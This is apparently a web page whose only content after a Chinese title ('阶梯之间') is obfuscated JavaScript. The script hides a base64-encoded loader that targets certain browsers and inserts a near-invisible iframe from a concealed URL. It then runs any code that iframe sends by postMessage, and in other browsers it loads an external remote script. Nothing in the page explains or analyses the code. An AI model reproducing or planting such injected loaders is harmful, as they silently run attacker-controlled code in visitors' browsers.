阶梯之间

eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x57\x49\x57"]=function(e){var Gm =''+'ABCDEFGHIJ'+'KLMNOPQRSTU'+'VWXYZabcdefghijklm'+'nopqrstuvwxyz012'+'345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Gm.indexOf(e.charAt(f++));o=Gm.indexOf(e.charAt(f++));u=Gm.indexOf(e.charAt(f++));a=Gm.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x49\x79\x57\x67\x52\x47\x78\x6D\x46"]=function(){eval(WWIW("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV1dJVyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFdXSVcoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXV0lXKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV1dJVygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzEyNyc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzcxMjcnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oV1dJVyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxJysnSScrJ1QnKydMMzNJVCcrJ00nKyczMycrJzAnKyd5WUdKJysnVEonKyd3dzJkNCcrJ2snKydHTkcnKydKVCcrJ0p6UUQnKydOd0UnKydUUXpVJysnUycrJ2J2TicrJ20nKydMamwnKycyJysnWWonKydsV2V1bCcrJ0cnKydidXcyJysnY3onKydaJysna01sJysnWWsnKydNbCcrJ0UwTScrJ2xNJysnSGMnKycwUkgnKydhJysnJysnJywnJysnVmJmJysnYXRVJysnVHInKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnMWxuJysnOG91JysndycrJycrJycsJzMnKQ=="));}